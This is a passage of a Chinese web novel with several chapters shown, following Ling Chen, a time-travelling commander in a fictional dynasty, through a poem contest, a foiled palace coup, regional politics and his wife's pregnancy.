王臣鹤看完榜文后,心中暗暗叹了一口气,此刻他多么希望自己只是一介平民啊~这样就能获得颍川知府的赏识。可惜自己是罪犯亲眷,怕是……唉!  就在他收起心思,认认真真的戒备着周围的动静时,凌晨不知道从哪里抓来了一方已经磨好墨的砚台,另一只手提着纸和笔跑到他面前,在街边的石阶上铺开后就扯着他写。  “你不大族出身么?写首诗应该不难吧?要是能在知府大人面前混个脸熟,万一能翻身呢?到时候富贵了,可别忘了兄弟我。”王臣鹤面色为难的说道:“凌兄是真为我着想,可我是罪犯亲眷,万一被知府大人知晓了……”  凌晨恨铁不成钢的骂道:“我把你个没出息的……哎呦~你管他呢!这事就像泡妞,有机会你就上啊!没有机会创造机会也要上,怕什么呢?就算最后惹的他不高兴,打板子也是叫冯大人打,底下都是咱们临颍的弟兄,还能真打你啊?干就完了!”  王臣鹤握着手中的笔,心中略微有些紧张,深吸了一口气平复好心情后,他沉思片刻,开始挥毫。  “一轮长空河水东,当时浅笑枫叶红,舞映亭心旧台阙,歌随烟波幕雨风。  自别后,恐相逢,无奈梦回与卿同,天涯明月共相照,只叹相逢是梦中。”  一首写罢,王臣鹤长出了一口气,刚要开口,就听到一旁的凌晨露出不满的声音:  “写的什么勾巴玩意?这大好的日子,你搁这哭丧呢?知府看到后怕是得跳起来给你一个大嘴巴子!重写!”  王臣鹤瞪大眼睛望着一脸不满的凌晨,自己感慨世事变迁、婉转表达进取之意的一首好词,他怎么能弃如敝履……  “发什么呆啊!写点积极向上的成不?”  感觉有一团石头堵在胸口的王臣鹤低头看向纸上的字,好像是有点不太合时宜。唉!罢了,那就再做一首直白的!  “百年心事总悠悠,凌云隐忍苦未酬。  驽马胸中负兵甲,寒士眼里轻王侯。  自古能业无磐石,叹息神州不似鸥。  天涯何处臧爱亲,正空位置不肯修。  即墨港风飘雨冷,临颍城外断桥就。  散士自古皆缄默,一曲知音天下求。”  写完后,王臣鹤提着笔看向凌晨,这总可以了吧?  “前面两句还行,后面太飘了!饭都吃不起的你还鄙视上王侯将相了?你有什么德行能让知府大人像刘裕那样把正宫之位给臧爱亲留着?还盼望他能了解你的心思,他有那闲工夫?不行不行!”  王臣鹤顿时露出一副苦瓜脸来,委婉了不行,直接了也不行,这怎么写嘛!  “哎呀!”凌晨恨铁不成钢的看着王臣鹤:“你就写写咱们里阳镇的风景,不要太刻意。然后再不着痕迹的拍拍马屁,不就行了?”  王臣鹤挠了挠头,磨了半天牙,还是憋不出来。  凌晨望着已经有很多人把纸递进去的门口,不禁狠了狠心:“妈的废物!我说你写,就说是你作的,快点!”  王臣鹤被他劈头盖脸的否定搞的有些手足无措,但同时也有那么一点不服气,你一个县城小吏,还能比我……  我草……  望着如遭雷击的王臣鹤晃晃悠悠的把纸递上去,没过多久就被知府大人喊进自家酒楼去面试后,凌晨终于露出了满意的笑容。  老子费了这么大的力气,你小子可得争点气啊!  “杏帘招客饮,在望有山庄。  菱荇鹅儿水,桑榆燕子梁。  一畦春韭绿,十里稻花香。  盛世无饥馁,何须耕织忙?”  酒馆的旗子似乎是在招呼着路过的行人进门小酌,映入眼帘是一片风景秀丽的山庄。水中的荷花浮萍中间,白鹅划动着脚蹼,留下一片水痕,燕子穿梭在栽满桑树榆树的林间。春日里岸边水田全是绿色的蔬菜,秋收时到处都飘荡着黄色稻穗的香味。在知府大人您的英明领导和治理之下,百姓们家家有钱,户户有粮,这才能有时间和精力在繁华的大街上游逛,哪里还需要埋头耕地、辛苦织布,整日里为了生活奔波呢?  我看曹公也是想上进了,把这首诗塞进《红楼梦》里夹带私货。不过不重要,别的先不提,他的遭遇不就跟王臣鹤一模一样嘛!而且场景、情形都对的上,至于时节么……  老子说的是一年四季,不单只是冬日,就不信知府大人被拍了马屁还要咬文嚼字的刁难。  再说了,就算他刁难,那也是刁难王臣鹤,关我鸟事?  请收藏本站:。笔趣阁手机版: 第112章 班师回朝 青霉素没提出来,大蒜素倒是提出来了,管不管用不知道,反正再不用的话,老文就该去奈何桥报到了。  凌晨内心也挺着急的,不可否认,老文跟自己君臣一场,这些年来从不相疑,对自己近乎放任,感情肯定是有的。  但更重要的是,他的生死,关乎着整个大郑的稳定,关乎着天下百姓的安宁。  今天的和平,来之不易;今天的繁荣,来之不易。是包括自己在内的所有人披荆斩棘、风餐露宿、抛头颅洒热血才换来的。  为了如今的局面,多少谋臣夙夜难眠、挑灯夜战,多少将士冲锋陷阵、马革裹尸,多少百姓赋粮从征、流血流汗?  所以绝对不能被任何人以任何目的破坏,谁要是敢不长眼,统统都去娘胎重修!  直到今天早上,老文还在昏迷中,急的凌晨都想用马东锡的巴掌唤醒法帮帮他了,但是没想到自己刚扬起手,老文就哼哼着睁开了眼睛。  还好自己是隐着身的,不然得尴尬死……  将他重病之际发生的一切添油加醋的告知以后,凌晨让老文继续假装昏迷,请他看一出好戏。  谁知道文初是个碎嘴子,一个人的时候还要念念叨叨,都不用凌晨费什么手段,他自己就一股脑的全抖了。  赵王殿下坐在陛下的龙榻边和老父亲说着心里话,说尽了这些年的委屈和沧桑变化,把自己为家族作出牺牲、将整个青春都搭在冀州却没有被册立为太子的怨恨都吐给了老文。  这和还在公示期,却逢人就讲自己上岸了一样傻。  所以说人啊,还是要少抱怨,多干事。在尘埃没有落定之前,不要对自己的判断太过自信。  从来就没有必胜之局,万里边还有个一呢!  确定文初这小子还没有癫到会不顾形势对亲爸拔氧气管后,凌晨果断离开,寻找到何关被关押的地方,两刀剁死那帮虾兵蟹将,将他放了出来,秘密召集御林军诸将议事。  众将到后,凌晨悠闲地坐在案首,用指头敲着桌面,眼神睥睨的望着他们问道:“我他妈还是殿帅吧?”  堂下众人面面相觑,这他妈谁敢说不是?  当今圣上钦命、中书门下册书、人尽皆知的事,谁能质疑?  众将只能齐齐称是。  那就好办了,殿帅当场就命令殿前都指挥使把周行舟藏在御林军中的棋子都挑了出来,现捞现杀,再让心腹之人夺权掌令,悄无声息的对御林军内部来了一次大清洗,重新掌控了行宫卫戍。  正所谓福兮祸之所依、祸兮福之所伏。  老文的御林军前身是江淮军亲卫营,虽然河北、关中、中原、关东等地的势力插不进去,但早在称帝之前就安排进去的暗子已经形成了事实存在,不主动暴露,你还真拿他们没办法。  但现在他们自己跳出来了,刚好对队伍内部的纯洁性来上一波净化,凡事都有两面性嘛  凌晨该做的事都已经做完了,那么现在,压力给到了赵王殿下和左仆射大人。  看着从屏风、柱后、殿外全副武装走进来的何关和御林军们,周行舟握着剑鞘的手不由自主的一松,“哐当”一声掉在了地上。一直蹲在龙榻后面的凌晨也站起身来,跺了跺有些发麻的小腿,手里攥着一颗黄梨,“嗑噌嗑噌”的一边啃着一边冲周行舟阳光一笑,还挑了挑眉,示意他可以开始自己的狡辩了。  周行舟重重的叹了一口气,目光复杂的看向从龙榻上坐起身来的文训,心中后悔不迭,不用说,创业失败了。  “姐夫,我……”  文训脸上没有一丝胜利的喜悦,只有无尽的悲凉和落寞。  亲生的儿子不管不顾自己的死活,一心只想着那把冰冷的龙椅;一路相携、走过了数十年风风雨雨的妻弟,竟然想要自己的命!  这就是得天下的代价吗?  既然他们都会如此,那汴京城中的大儿子呢?后宫里的枕边人呢?  文训很累,身子很累,心也很累。  举起手臂无力的挥了挥手后,他便靠在软枕上,仰头望向殿顶的横梁斗拱,心情低落至极。  天家无情,他是明白的。  但他怎么也没有想到,来的这么快,来的这么汹涌。  凌晨见老文这个样子,一猜就知道他这是怀疑人生了,于是便朝着何关使了个眼色,何关立刻带着御林军将失了智的周行舟和丢了魂的文初都提了起来,带出了殿外。  凌晨自己也抬腿准备离开,留下老文自己一个人静一静,结果却被喊住了:  “过来,陪朕坐会儿。”  将手中的梨核放在一旁的漆花桌子上后,凌晨双手在自己的衣服上随意的抹了抹,抬起一条三曲黑凳搬到龙榻边,坐了下来。  老文的气色不是很好,还没有完全恢复过来,再加上现在情绪低落,凌晨还真担心他再给自己整出个什么幺蛾子来,于是便主动开口劝解道:  “陛下不必过于介怀,常言道‘疏不间亲’,但臣今日也斗胆说句外话:陛下做的很好,是他们自己不争气。陛下要保重龙体,如今您的身体,可不仅仅是您自己的,更关系着兆亿黎庶的性命安危。”  老文叹了口气后,转而看向凌晨,皱眉盯了很久,突然问道:  “如果这次谋逆的不是赵王,而是太子,你还会像这样阻止他吗?”  凌晨微微挑眉,脸色正经起来,坐直身子、目光平静的与文训对视着,坦坦荡荡的奏道:  “如果太子殿下真的做出这种浑事,臣一样会竭尽全力摧毁他的阴谋,哪怕明知会不敌,也要尽力一试。”  文训盯着凌晨的眼睛,想从里面看出点端倪来,结果却发现,对方的目光比自己还要锐利。  二人就这么死死的盯住对方的眼睛,静静的过去了很久。最终,是文训败下阵来,将目光转向一旁。  凌晨趁机在领导面前再次表起了忠心:  “世人、包括陛下在内,都忽略了一件事情。”  “哦?何事?”  凌晨站起身来,恭恭敬敬的朝着文训行了个大礼,一字一句的说道:  “臣忠的是陛下,义的是社稷。谁能让天下顺平,百姓安宁,臣就会效忠于谁。  无论是太子、赵王,还是其他什么人,只要胆敢生出不臣之心,威胁陛下、祸乱朝纲,臣绝不会因为区区私交就心慈手软!而且,若是陛下作出不当之举,臣,一样会劝谏。”  “哈哈哈哈哈~~”  文训听完后,突然放声大笑!笑声回荡在空旷的大殿内,回音绵绵不绝。  “好!好!好!”  胸中的郁闷一扫而空,文训慈祥的望着立在面前的凌晨,点着头说道:“还记得朕与你初次相识的时候吗?”  “如何能忘?那时,臣和陛下素不相识,却一起被唐军追的狼狈逃窜,当时臣还以为陛下是唐人,准备抓陛下去邀功请赏呢……嘿嘿嘿……”  “呵呵呵呵……”  回想起当初君臣初见时的景象,文训既有些感慨、又觉得好笑。  一转眼六七年过去了,凌晨还是那个凌晨,曲中有直,心性率真;既有少年人的果敢,也有经事后的稳重;永远都在最关键的时候站出来,坚定的挡在自己身前。  “朕想问问你,当初你明明都已经走了,后来又为何会引着颍川士族追随朕?不要说那些冠冕堂皇场面话,你知道朕问的是什么。”  凌晨眼珠子转了转,思索了一阵后,笑着说道:  “或许是因为,别人都是告诉我:想做什么就做什么,太假了。  而陛下却真正让我做到了:想不做什么,就不做什么。”  文训抿着嘴点了点头,他很满意这个回答,也对自己的当初的决定感到一丝庆幸和自豪。  “那如果,朕突然决定解除你的点检之职,罢你归乡呢?”  “陛下是知道的,这对臣来说不是惩罚,而是奖赏。”  “那要是,朕觉得你威胁太大,想要砍你的头呢?”  凌晨闻言一愣,看着文训不假思索的说道:“那臣就连夜逃命,绝不犹豫分毫!”  “哈哈哈哈哈哈~~”  文训郁闷的心情彻底舒畅了,大笑着拍了拍龙榻,指着凌晨说不出话来。  有这样的亦臣亦友、一身坦荡、历经患难初心不改的臣子,是孤家寡人的幸运。  一个,就够了。  九月中旬,唐国李雄上表称臣,给大家都找了个台阶下。大郑皇帝陛下警告了他几句,让他以后不要再犯这种小糊涂,冬眠假期早就结束了。  南征圆满结束,陛下亲征,锋芒依旧!  大郑在他的带领下,在军事上挫败了唐国趁虚而入,在地缘上震慑了四方宵小,在政治上稳定了朝堂局势,还揪出了两个跳梁小丑,民心稳固,威望愈盛。  虽然为了皇家的体统和颜面,赵王串通左仆射一起谋逆的事不能明面处理,更不能公开治罪。但外戚周家和河北赵家,肯定是要迎来一波雷霆肘击的。  王臣鹤得了mvp,成为了天下公认的顶流武将。青州军威名尽显,关东两府籍贯的官员们也在朝堂上硬气起来了。  除了林济远那颗茅坑里的臭石头之外,他们谁也不怕!  请收藏本站:。笔趣阁手机版: 第113章 阴晴圆缺 讲道理,就目前的形势而言,想用武力拿下江南,很不现实。 山川地理的布向,决定了地域的封闭性。滚滚长江东流而去,更是为本就难图的江南地区增添了一道自然屏障。 不然也不会有“一桥飞架南北,天堑变通途”的说法了。 黄河热情奔放,不管你愿不愿意,都要揽你入怀;长江冰冷高洁,不管你愿不愿意,通通一脚踢远。 北方刚刚经历了多年混战,好不容易才稳定了下来,其实还有很多东西需要磨合和协调。此次南下有一定的被动性和仓促性,其实老文自己心里也没有奢望能一举攻破金陵。 但是,彩票那么难中,不还是有许多人每天都要刮上两张么? 更何况他有十几万大军。 但谁也没想到,文初会给他整这么一档子令人哄堂大孝的事情。 拉几把倒吧,爱谁谁,老子回家去了。 冷兵器时代,想要吞并江南,就必须要先夺取荆楚。 因为长江就是这么流的,谁也没办法改变。正所谓“高打低、打傻逼”,在地理上也是同样的道理。 比如大家线下约架solo,地点就定在江面上,人家上游的屁都不干就气定神闲的抵达战场了。 而你,我的朋友,当你哼哧哼哧的逆流而上划到战场,把底舱的船夫累了个半死,结果发现人家的船撞过来后,力大势沉。 你想让船夫划船避开,他们却个个舌头吐成旺财,纷纷摆着手对你说“又不会死”、“大不了去死”、“活着挺好,死了也行”。 少了一个马掌钉都有可能改变一个国家的命运,更不要说这种十分不对称的战场不利因素。 聚沙成堆、汇流成溪。 可惜你不看杆哥芈月,不知道一个人为了两条蜥蜴都会去刻意计算时间。更有某位不知名的联盟主播,召唤小爱同学定闹钟来提醒自己注意对方下次闪现时间。 这也是唐国为什么宁可坐视着文训一步步统一中原,也要集中兵力和孟玄在江汉平原死磕。 不磕不行啊!唐国一旦失去江夏府,跟中原失去燕云十六州、西方失去耶路撒冷一样,基本就炸穿了。洗菜的水里都有可能掺杂着蜀军撒过的尿。 除非你能像洪武大帝那样,用尽各种手段把对手带进鄱阳湖里,大家在平缓的水面上公平竞技。 有趣的是,国家势力之间的对抗,一般都会起到连锁效应。就像这次南征,欢欣鼓舞的不止是大郑臣民,还有长沙的武平节度使张照初。 这哥们自从创业以来,努力兼并州郡,积极扩大地盘,用武力迫使邻居和乡亲们达成共识,日子过的红红火火,生意做的蒸蒸日上。 由于蜀国施行战略收缩,短时间内没空理他,唐国又在庐州之战中战败,也没有精力去管他。眼下,已经没有人能够阻止他追风逐梦的步伐了。 于是,他成功完成了自己的第一个梦想:统一荆南四府。 长沙府、岳阳府、武陵府、零陵府尽入囊中。 但是接下来,他迷茫了。 因为江陵是孟玄留在荆州府的重要节点、战略价值巨大,西川为了这块地死伤了好几万人。如果他敢攻打这里,那孟玄绝对会带兵来跟他玩命的,让他好好见识一下什么叫天府英主。 江夏府也是,李雄只是没空收拾他,不是收拾不了他。 北边既然不可取,张照初就把视线转向了南方,结果发现汉主刘思正呲着个大牙对着自己嘿嘿傻笑,顺便默默将手中的刀收回了袖筒里。 啧…… 好在张照初比较聪明,也识时务,中奖后的第一件事就是选择回馈社会。 他派使者进入汴京,向老文称臣纳贡,表示自己是在为陛下镇守疆土,成功给自己混了个正式编制,荆南四府也在名义上成为了大郑的领土。 至此,西北李遗景、江南李雄、荆南张照初,都在名义上不同程度的归顺和臣服了大郑。虽然只是名义上,但仍然意义重大。 因为如果他们再次向大郑发出挑战,尤其是军事挑战,那么在法理上就说不过去,一楼秒锁上官婉儿,开局自动低人一等。 治下百姓和底层官兵就会想:当初认怂的是你,现在闹事的又是你,你老母猪戴胸罩啊一套又一套的?能不能给个准信?! 民心和军队士气,都会受到很大的影响。 不过这样也有一个好处:我都承认你是大哥了,你还能继续欺负我不成?那这样一来谁还敢认你当大哥?更别说归顺你了。 所以这三家和大郑达成了一种柏拉图式的精神友谊。 山水有相逢,兜兜转转了这么一大圈,压力又给到了我们的老朋友—— 晋王爷,孙芝。 终究还是不行吗…… 独自立在晋阳城头宽阔的城墙上,望着远处若隐若现的连绵群山和无尽夜空中高悬的明月,孙芝有点后悔了。 如果当初幽州大战时自己能跟贺唯忠说一声再撤退,如果当初自己认真出兵勤王而不是趁乱攻进邺城,如果自己兵败撤退时丢下周广德让他自生自灭,如果自己当时能别刺激周广德,安安稳稳的供着吉祥物…… 有太多的机会可以避免面对今天的局面,可以坦然接受失败、献城投降。文训为了政治考虑,绝对不会杀自己,还得给自己交养老保险,还能做个富家翁。 可惜,没有如果。 人要为自己做过的事情负责,如果不能深谋远虑,那就只能仰天长叹。 还有一个人比他更焦虑,蜀主孟玄。 孙芝死翘翘了,横死竖死、早死晚死都是死,不会有任何悬念。除非大郑分崩离析,北方重新开始新一轮的吃鸡大赛。 但按照眼下的情形来看,北方大地的官民士绅明显都已经厌倦了用刀剑来交换意见,大家坐下来一起聊聊天也挺好。所以短时间内,肯定是不会再折腾了。 那么,孙芝完蛋以后,下一位幸运儿会是谁呢? 一想到文训每天晚上睡觉前不是翻后宫嫔妃的牌子,而是把自己和其他几个势力老大的名字写在圆盘上转圈圈,小公鸡点到谁就找谁谈心,孟玄就有点心烦意乱。 而且自己的名字很有可能占据了圆盘一半的面积…… 但是让他认大郑为宗主国,也很难办到。 作为刚刚过完三十岁生日的一国之主,孟玄有着自己的骄傲。一般像他这么大年纪的人,有几个是能在朝堂中站稳脚跟的?能够有家有产都已经算得上是人中俊杰了好吧~ 而他已经将川蜀老头们治的服服帖帖,把南疆蛮夷们训成乖巧孙子,带领着他们与天下英雄争衡了。 就连彩云之南的大理国主,都因为惧怕蜀军的刀锋,想把女儿嫁给自己当嫔妃。 狂妄是需要资本的,而我正好有! 我知道自己大概率打不过你,但你想让我未战先怯、跟那帮顽石朽木一样俯首称臣,这可能吗? 他们不行,我可未必,不干一架怎么知道? 但~话又说回来了~ 文训一辈子都在打仗,当上皇帝都没忘了老手艺,只是工作之余抽空秀了一把,就把嚣张的李雄打的跪下唱征服。 更何况大郑还有李继贤、王臣鹤这样的人物,太子文若决阵行伍的实力也很强,他们都是指挥过数万人、甚至是十万人以上大兵团作战的统帅。 更不要说冯延、薛定、刘青山、邵之祁、种平、柳耒、李卿之流了,这些家伙都是长期征战、经历过重重战火洗礼的,名气或许不如前三位,但你敢小瞧他们吗?冷不丁就有可能给你来个大惊喜。 哦对了,还有那个出了名的钉子户李孝通。 如果文训派他镇守斜谷,孟玄觉得……就算自己倾尽全国之力,恐怕也不一定能百分百必胜。 惆怅之余,再回头看看自己的手下,能打的就那么两三个,其他都是些大号饭桶。这帮孙子只知道争权夺利,真干起来不互相拆台就不错了…… 人才稀缺,是蜀国无法改变的困境,这是由来已久的问题。光凭两川之地,确实没有办法对抗整个中原,无论是人口、经济、资源、兵力,各个方面差距都很悬殊。 唯一能够倚仗的就是山川天险。 怂吧……不甘心。 刚吧……没信心。 啊——!!! 孟玄想这些都快要想的精神分裂了,每天不住的双手挠头,吃饭都不香了,妃嫔都没兴趣临幸。 更要命的是,留给他思考的时间不多了。 文训已经携大军返回汴京,不出意外的话,孙芝的生命已经进入了倒计时。自己要不要服软?怎么个服法?服到什么程度才能既让文训满意、又明显比其他人更有气节、有逼格? 这是个问题。 大郑君臣经过这次南征之后,也算是看明白了,柿子得挑软的捏,柚子都从里边烂。武力攻取唐国不行,那就不要给他们施压,让他们自己窝里斗。 毕竟唐国内部矛盾也挺激烈的,长江以南确实都在一个寝室群里,但这个圈子也并非铁板一块。金陵、临安、豫章、江夏、清泉节度使,都有另外的小群,总有一个大家都讨厌的家伙被排除在外。 尤其是清泉节度使,八山一水一分田,闽越男儿非等闲,这里的地形造就了相对封闭的环境,高兴了对李雄笑嘻嘻,不高兴了对李雄妈卖…… 经过中书门下众臣的商议之后,大郑拟定了“抚唐谋蜀”的战略目标。大批精锐兵马、能征惯战之士都开始向南阳地区和关中地区调动。 等到水患影响彻底消除、灾后生产重新恢复后,先灭孙芝、再下汉中、最后入蜀!! 凌晨最近没空也没心思去理会什么狗屁朝堂局势、天下大事,他现在有点脑壳痛。 出征三个多月,回到家里后,青柠的肚子大了。 有点紧张。 还好只是三个月,要是三年的话,e…… 简直不敢想象。 看着青柠一手扶腰,一手抚摸着凸起的小腹,满脸幸福的模样。枪林箭雨中面不改色、伏兵暗藏处不屑一顾的殿帅,竟然口干舌燥,四肢僵硬,呆愣在了原地。 最终,在解二的呼喊声中回过神来的凌晨,吞了吞口水,小心翼翼的走到青柠的身边,伸出手有些害怕的摸着她的小腹,依旧有些难以置信。 活了两辈子,这还是他第一次有了自己的骨肉。 “这……是我的?” 噗—— 解二连忙转过身去,双手捂住自己的嘴巴,尽量让自己不要笑出声来,宽阔的肩膀抖的跟触电了一样。 家中的婢女们皆是低头捂嘴,小厮们纷纷学着解二转过身去,发出嘻嘻哈哈的笑声。 青柠皱着眉无语的瞪了凌晨一眼,抬手就是一巴掌轻拍在他的胳膊上。 哦,也是,谁他妈敢绿当朝殿帅啊! 凌晨这才反应过来,连忙照顾起孕妇的心情,出声认罪道:“不不不,我不是那个意思,这不是……给我惊喜……激动坏了嘛!哎呦呦……男孩女孩?” 青柠更无语的扶着自己的额头,被他给干沉默了。 “还没生下来,我哪里知道……” “哦……哦哦!” 对对对,咱大郑还没有B超和妇产科,傻逼了。 凌晨连忙从婢女手中接过娘子,轻手轻脚的扶着她进入了屋子里,小心翼翼的让她坐下,别再给磕着碰着了。 歪着头盯着青柠的肚子傻笑了一会后,凌晨眉头一皱,又愁眉苦脸了起来。 好是好,可是大郑没有妇产科啊!孩子出生全凭稳婆的经验和手法,万一胎位不正或者出了什么问题,危险系数很高啊…… 无忧无虑的殿帅,也变得患得患失起来了。 第220章 江南易主 芝伏罗本来是憋了一肚子气的,连建隆观武这么重要的外交大事件都没有派使者去敷衍,一点也不想给大郑面子。 这其实是可以理解的,在我最难的时候,是你给我补习功课、给我讲解难题,辅导我做家庭作业,给了我安慰和鼓励,让我灰暗的世界有了一束光。 于是我奋发图强,勤奋上进,只为了不辜负你的一番美意。听说鬼方部居然敢欺负你,一向内向的我比任何人都要愤怒,抬手就把那碧池的头发跟衣服当众撕烂。 还有霸凌过你的突厥和契丹,我也没想着放过,把她们拉出教室,正准备一鼓作气将她们挨个教训一顿呢,结果你竟然帮着她们一起揍我!! 我在厕所独战群雄为你鸣不平,你的跟班在背后偷偷把我的课桌推倒、在我的凳子上抹满502胶水,往我的课本里面翻着页的吐浓痰!! 我们之间的美好都是假的吗?下课铃响后一起手牵手去厕所,体育课上一起坐在操场大树下看男生们打篮球,放学后一起去精品店买发夹和可爱的书包小挂件,你可有一瞬间拿我当你的闺蜜? 这次你期末考试考得好,邀请全班同学去你家庆祝,还假惺惺的给我也发来了微信,我怎么能去,怎么能原谅你的背叛!! 我坐在自己房间的窗户前,看着你们在班级群里发的合照,照片中的你笑的多开心啊~ 手机里传来的歌声,多么契合我现在的心情啊—— “明月不谙离恨苦~斜光到晓穿朱户~ 陪你走完这一程~相思路~ 过往云烟尘与土~一曲离恨都落幕~ 你我从此桥归桥~路归路~” 周一再次看到你时,你被同学们拥簇在人群中央,班级第一,肤白貌美,还被男生们评为最美校花。 我抓紧自己的书包肩带,低下头别过脸去,面对着墙壁,不想也不敢与你对视,我知道,我们不是一个世界的人了。 我走了,你成你的大业去吧~ 可是,刚从悲伤的阴霾中走出的我,去参加学校组织的短跑兴趣组,你的跟班又莫名其妙的参与了进来,还在最关键的比赛中伸脚绊我,害的我失去平衡摔倒在地,膝盖和大腿被擦伤了好大一块。 拜她所赐,我失去了做体育生,通过艺考考上大学的资格,也失去了梦想。 这也太欺负人了!!! 现在,看着我的眼睛告诉我,为什么要这样戏弄我的感情?我都退出你的世界了,为什么还要这般针对我?! 大郑君臣鸦雀无声的望着在朝堂上越说越生气,甚至不顾殿前失仪,冒着被拖下去廷杖砍头的风险,把持节握在手中不停提起来砸地砖的高车部使臣,皆是沉默不语。 坐在空荡荡的龙椅右前方,负责主持朝堂的文若也尴尬的战术性清嗓,李卿出兵西域这事儿吧……汴京也不知情啊! 知道的时候,已经打完了。 御史中丞林济远皱着眉毛,阴沉着脸走出队列来到了高车使者身边,义正严辞的要求太子殿下下令,把那个胆大包天,擅自出兵的李卿抓回汴京,给他安排下狱问罪受审一条龙,一定要给高车部一个交代! 他这么一说,关中籍贯的朝臣武将们立刻不干了,纷纷举起笏板对着他大骂起来,卖国贼!高车部的走狗! 平时大家看你年纪大,不跟你计较,没想到你还蹬鼻子上脸了,在这充什么心怀慈悲的烂好人?陛下和太子心胸宽广,体谅臣属,我们可不惯着你! 不要以为秦王不在汴京你就可以胡说八道,再哔哔,信不信揍的你满地找牙?! 御史台的言官们一看,这帮吃肉夹馍的关中粗汉竟然敢这么跟我们中丞大人讲话,这还得了!今天不压住他们,御史台的威名岂不是要一落千丈?来就来,怕你啊! 整个乾元大殿顿时鸡飞狗跳,“娘”“狗”之类的词汇不绝于耳。拳拳到肉的闷哼声,摔倒在地的惨叫声,怒发冲冠的喝骂声。不知道的还以为来到了西市,遇到两帮地痞流氓在街头火拼呢~ 原本满腔怒火、一肚子委屈的高车使臣,看着满大殿互相扯胡子揪头发,官帽都被打飞在空中的大郑朝臣们,人傻了。 他想象中的大郑朝堂,怎么也该是用阴冷的目光互相打量着彼此,使心眼子、暗中拆台,栽赃陷害,阴阳怪气才对。 这怎么……比我们草原人还要野蛮暴躁?一言不合就开打? 最终,还是御林金卫们冲进来才把各位大人拉开,太子殿下匆匆宣布退朝,第一个脚底抹油开溜。原本乱糟糟闹哄哄的乾元大殿,瞬间就鸟作兽散,只剩下高车使臣立在原地发愣。 这时候,几个小内官提着水桶,拿着抹布从角落里走出来清洗地板了,见他还待在原地,便上前询问—— 你怎么还不走?这儿不管饭。 …… 大郑出兵要什么理由,打就打了,你能怎的? 李卿的北廷之战打赢了,扬我国威,震慑诸戎,朝廷怎么会惩罚他呢?中书门下的赏赐这会儿估计已经过玉门关了~ 他特么要打输了,那才真的会被拉回来拿皮鞭抽呢! 但该有的态度还是要有的,逢场戏还得作,我们大郑一向都是讲道理的好吧~ 批评,必须严肃批评!全国通报! 西域的混乱局面,随着李卿的强势介入暂时稳定了下来。高车部经过土兀剌河和北廷城的两次大败,已经基本失去了挑起战争的能力,十余年来积攒的家底败的干干净净,只能回到阿尔泰山继续老老实实的放羊去了。 现在,只需要认真对付哈拉汗国就行了。 说真的,双方都有点心里发虚。 驻扎在西域的李卿对哈拉汗国并不了解,只知道对方刚刚灭掉了于阗国。对一个有灭国能力的不明势力贸然动手,显然不是明智之举。于是他只能先派人前往对方境内打探虚实,准备全方面的好好了解一下这位从中亚而来的不速之客。 寻找破绽,一击必杀! 哈拉汗国的王子去过汴京,被大郑幅员辽阔的疆域、强悍铁血的军队、先进发达的装备、繁花似锦的首都、如日中天的国力深深震撼过,所以极力劝说萨克图汗和国内王公们不要轻举妄动,尽量避免和郑军擦枪走火。 厉兵秣马,等待时机! 支线任务是小问题,主线任务才是大问题。 江南传来了最新消息,坐断东南战未休、从大周打到大郑、执政四十一年的唐主李雄,病入膏肓,已经没几天了。没办法,老头一把年纪了,儿子们不是想弄死自己,就是在想弄死自己的路上,最后来了个鱼死网破,直接断代,这搁谁身上受得了? 虽说天家无情,但也不能这么绝啊!心态再好的人也受不了哇! 更让他郁结于心和难以释怀的是,在金陵大乱斗中唯一幸存下来的仅存硕果,竟然是最不成器、已经被自己彻底放弃的李嘉! 外有强大劲敌,内有废柴儿子,身前事一塌糊涂,身后事也充满了不确定性,万一自己刚一闭眼,祖宗留下的江山社稷就国破家亡,那可怎么办呀! 前面几个虽然不孝,但好歹也是有能力、有野心的,不怕孩子叛逆乖张,就怕孩子懦弱无能,偏偏现在只有一条咸鱼可供自己选择,这咸鱼还因为求异心理公开表示自己不信佛,唉! 佛还是要信的啊,虽然李雄自己也不相信死后能去什么极乐世界,但治下百姓都靠着这股来世会有福报的希望,忍受着当下的艰辛苦难。做皇帝的不信佛怎么行呢?怎么让百姓对皇帝产生认同感呢? 士兵们就是因为相信有来生在世,才敢在战场上拼命的,反正还有下辈子,十八年后还是一条好汉。 结果皇帝却说压根就没有这回事? 那岂不是说,我死了就彻底没了?那谁还去拼命啊! 百姓们就是因为相信这辈子吃够了苦,下辈子就能和地主老爷们一样享福了,才默默在挣扎中求生。 结果陛下说童话里都是骗人的? 那我们干嘛还要这么辛苦的忍受苛捐杂税,每天在稻田里插秧、跳下河捕鱼?老子要逛青楼,喝花酒,睡姑娘! 这地谁爱种谁种!这粮谁爱交谁交! 这样一来,不就全乱套了吗? 身体一天不如一天的李雄苦口婆心的向李嘉传授这样的道理,耳提面命让他多去佛寺烧烧香,哪怕是走个过场呢? 从小就不被父亲重视和喜爱的李嘉,怀着一种“你也有今天”、“有本事别求我”的报复心理,将老父亲的一片舐犊之心当成了空气。 我曾经没有得到想要的关心和爱护,现在你给我,我也不要。 这皇位你给也行,不给也行,我无所谓。但你别妄想改变我的处事准则和自由思想,那都是我在阵阵白眼和孤立无援中总结出来的生存方式,我就是靠着它们才走到今天的。 你安排的路,我走。因为你是我的父亲,我是李家唯一的继承人。 但怎么走,我说了算。 也许我会继往开来,带领着大唐重现贞观治世、开元盛景;也许我会和许多偏安江南的君主一样,最终落的个镣铐缠身、客死异乡。 但无论结局如何,那都是我应得的,你做好你的事就够了,我的事,我自己决定,并且会为造成的后果负责。 文训、文若可没有信什么阿弥陀佛,他们信奉的是手中的刀。 父亲,你不一定就是对的。 身体本就每况愈下的李雄在听到这些话后,两眼一翻,直接被气昏了过去。 年事已高的李雄本就被高血压、糖尿病、偏头痛和前列腺炎折磨的睡不好觉,近段时间又发生了这么多糟心的事,外加对大唐未来忧思成疾,直接一病不起。 德明殿的偏殿内灯火通明,皱着眉的李嘉被内官和新任乌衣军统领朱昌请到了龙榻前。 唐国重臣,皆立在殿中。 丞相、右仆射沈之章,太尉、大将军温茂,金陵太守周沛,江夏知府童礼,分列两旁。 靠在软枕上的李雄面色土黄,嘴唇苍白,脸部和脑袋时不时的小幅卡动着,眼皮抬的都异常费劲,看起来像是很困,随时都要睡过去的样子。 看到李嘉表情复杂的坐到自己床边后,李雄胸中百感交集,真是世事无常啊!到最后,能交付大业的,竟然是这个自己从未重视过的小儿子。 他直到这会儿才发现,自己对这个儿子太不了解了,他喜欢做什么事,讨厌什么食物,会不会带兵打仗、能不能作出文章?有没有喜欢的女子? 